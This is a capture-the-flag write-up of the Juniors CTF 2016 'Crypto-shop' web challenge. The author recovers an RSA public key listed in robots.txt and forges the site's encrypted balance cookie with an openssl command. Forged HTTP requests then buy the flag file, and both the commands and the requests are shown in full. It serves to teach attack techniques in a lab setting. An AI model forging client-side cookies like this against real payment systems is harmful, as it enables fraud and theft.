title: Juniors CTF 2016 - Web500 Crypto-shop Write Up author: depierre published: 2016-11-27 categories: CTF, Security keywords: juniors, ctf, write-up, web, 500, challenge, rsa, cookie I played the Juniors CTF 2016 this weekend with some friends of mine and it was quite fun! Since we missed the registration deadline, I sneakily joined the [Securimag](https://securimag.org/wp/) team and played with them. ![Crypto-shop challenge](/static/images/juniors2016/crypto_shop.png) Among the different web challenges that we solved, [@xarkes](https://twitter.com/xarkes_) and I thought that Crypto-shop was one of the most interesting challs from the web category. # Crypto-shop Accessing the web application, we are greated with a wonderful Russian web page: ![Crypto-shop application](/static/images/juniors2016/crypto_shop2.png) Basically it says that the file we want to buy is worth `140.3` gravitycoins, that our `wallet` is `32ca4862166b08c72787f4bf258cc2f09` and that our current balance is `0` gravitycoin. We supposed that we had to find a way to buy a gravitycoin in order to get the flag. # Cooooookies Using [Burp](https://portswigger.net/burp/), we see that when accessing the homepage: :::http GET /index.php HTTP/1.1 Host: 10.0.192.235:61741 Two cookies are generated: :::http hl_lines="5 6" HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 19:50:51 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.45-0+deb7u5 Set-Cookie: gravitycoin=ga8c%2B5oOnlS%2B26EiReR%2Bh3y4HV0ArWvxYgYESCn7BLSpvL8pIZRc2Bsdd6lnXu%2BNk7app4QgamoAkoqW4zJCQA%3D%3D; expires=Tue, 06-Dec-2016 19:50:51 GMT; path=/ Set-Cookie: wallet=7b693c3fef8c70db769a8c665cde55ca; expires=Tue, 06-Dec-2016 19:50:51 GMT; path=/ Vary: Accept-Encoding Content-Length: 2837 Connection: close Content-Type: text/html The `wallet` cookie is our wallet ID, shown on the home page but what is that `gravitycoin` wallet? It's a base64 encoded value that doesn't decode to anything meaningful so we assumed that it was encrypted. Could it be some kind of [padding oracle attack](https://en.wikipedia.org/wiki/Padding_oracle_attack)? When we modify one byte of the `gravitycoin` value, the application says "Current balance: incorrect value" (translated from Russian). Except from a reflected XSS in the `wallet` cookie, we couldn't find anything helpful at that time. # RSA public key Trying to find more information to work with, we found that the web application had a `robots.txt` file: :::http GET /robots.txt HTTP/1.1 Host: 10.0.192.235:61741 Listing some potentially interesting files maybe? :::http hl_lines="14" HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 18:11:42 GMT Server: Apache/2.2.22 (Debian) Last-Modified: Wed, 23 Nov 2016 13:27:38 GMT Accept-Ranges: bytes Content-Length: 79 Vary: Accept-Encoding Connection: close Content-Type: text/plain User-agent: * Disallow: /index.html Disallow: /index.php Disallow: /rsa.html Let's check `rsa.html`: :::http GET /rsa.html HTTP/1.1 Host: 10.0.192.235:61741 It might be what we are looking for: :::http hl_lines="17 18 19 20" HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 18:11:45 GMT Server: Apache/2.2.22 (Debian) Last-Modified: Wed, 23 Nov 2016 13:27:38 GMT Accept-Ranges: bytes Content-Length: 303 Vary: Accept-Encoding Connection: close Content-Type: text/html -----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMUxrqFZ5appjJI7Yf8TDVpy3ITYzh9s
CTflAdameod0AtdQ5QCAVCpFi1ZLe5ZvwNwIlsEdTDEqfi2CH8Ylf9cCAwEAAQ==
-----END PUBLIC KEY----- It contains a public RSA key, interesting. Oh Sneaky bastards! If you try to access the resource from your web browser, you would be redirected to `403.html`, which tells you that the access is denied. Hopefully we didn't waste time on that one since Burp doesn't care about the JavaScript. # RSA? What for? Now that we got a RSA public key, what could we do with it? We thought that we could maybe factorize the key and decrypt the `gravitycoin` cookie value: :::bash hl_lines="2" depierre$ openssl rsa -inform PEM -pubin -in key.pub -noout -text Public-Key: (512 bit) Modulus: 00:c5:31:ae:a1:59:e5:aa:69:8c:92:3b:61:ff:13: 0d:5a:72:dc:84:d8:ce:1f:6c:09:37:e5:01:d6:a6: 7a:87:74:02:d7:50:e5:00:80:54:2a:45:8b:56:4b: 7b:96:6f:c0:dc:08:96:c1:1d:4c:31:2a:7e:2d:82: 1f:c6:25:7f:d7 Exponent: 65537 (0x10001) 512bit? Hum, maybe it can be factorized after all... We used different tools such as [Cryptool](https://www.cryptool.org/en/ct1-downloads) and [YAFU](https://github.com/DarkenCode/yafu) but after running for a couple of hours, they still didn't yield any results so we gave up factorizing the key and moved on. In brief: + We have an encrypted cookie, likely containing information about our wallet and our balance + A RSA public key # Encrypt your own What if, instead of finding the private key to decrypt our cookie, we forge our own `gravitycoin` cookie and encrypt it using the public RSA key we found? One problem is that we don't know the format of the cookie but maybe we could guess it? Afterall, there are not that many parameters: the md5 hash for the wallet and 0 (our balance). Since you can't encrypt strings longer than 53 bytes with the short RSA public key we found, we brainstormed for a minute to come up with potential formats the cookie could use so we could bulk-generate and bulk-encrypt cookies. Below is an extract of the potential formats we came up with: :::bash ### Placeholders to replace later # w: wallet; W: md5 # g: gravitycoin; G: 0 ### w=W&g=G g=G&w=W w:W&g:G g:G&w:W ... {W:G} {G:W} ... 2|1:G|W 2|32:W|1:G 2|1:G|32:W ... G g:G g=G "g":G 'g':'G' In total, we generated 75 different cookies and tried all of them using Burp: ![Burp Intruder](/static/images/juniors2016/burp_cookie.png) And the winner format is.......... `G`... We spent 30 minutes to come up with different formats and the correct one is of course the simplest (and also one of the last one we guessed). We then generated a `gravitycoin` cookie with a value greater than 140.3: :::bash depierre$ echo -n '200' | openssl rsautl -encrypt -pubin -inkey key.pub | base64 jfxAOXheApfGd+C2AWaEIZJc/Lh65W1GFlLYG3hgyT4oTFifE3nzsw9QDOsu7FPiASU/JQwRVX1K 0EayJ8gy1A== And bought the sh\*t out of that file! :::http hl_lines="3" POST /index.php HTTP/1.1 Host: 10.0.192.235:61741 Cookie: gravitycoin=jfxAOXheApfGd%2bC2AWaEIZJc/Lh65W1GFlLYG3hgyT4oTFifE3nzsw9QDOsu7FPiASU/JQwRVX1K0EayJ8gy1A%3d%3d; wallet=eb78b1c0d1d6259d5e1ac7f919ba8bba; Content-Length: 0 Granting us what we were looking for: :::http hl_lines="12" HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 21:20:27 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.45-0+deb7u5 Accept-Ranges: bytes Content-Length: 40 Content-Disposition: attachment; filename=b42e6n7o3f3f1c0m82oj3lg6zg5w7 Set-Cookie: gravitycoin=QeDhqsD5KMrWgiFT7WdWgyLsw1Wujhi8S3kAUZI03aSp33wlKvqcq8W5BCRQmmlcY7x%2F2998r%2BGejAmlUZf17w%3D%3D; expires=Tue, 06-Dec-2016 21:20:27 GMT; path=/ Connection: close Content-Type: application/octet-stream Stan_creator_6fsd%hjaB56_gravitycoins Flag: **Stan_creator_6fsd%hjaB56_gravitycoins** ![Juniors 2016 Scoreboard](/static/images/juniors2016/scoreboard.png) By the end of the CTF, we solved quite a lot of challenges and reached the 5th place :)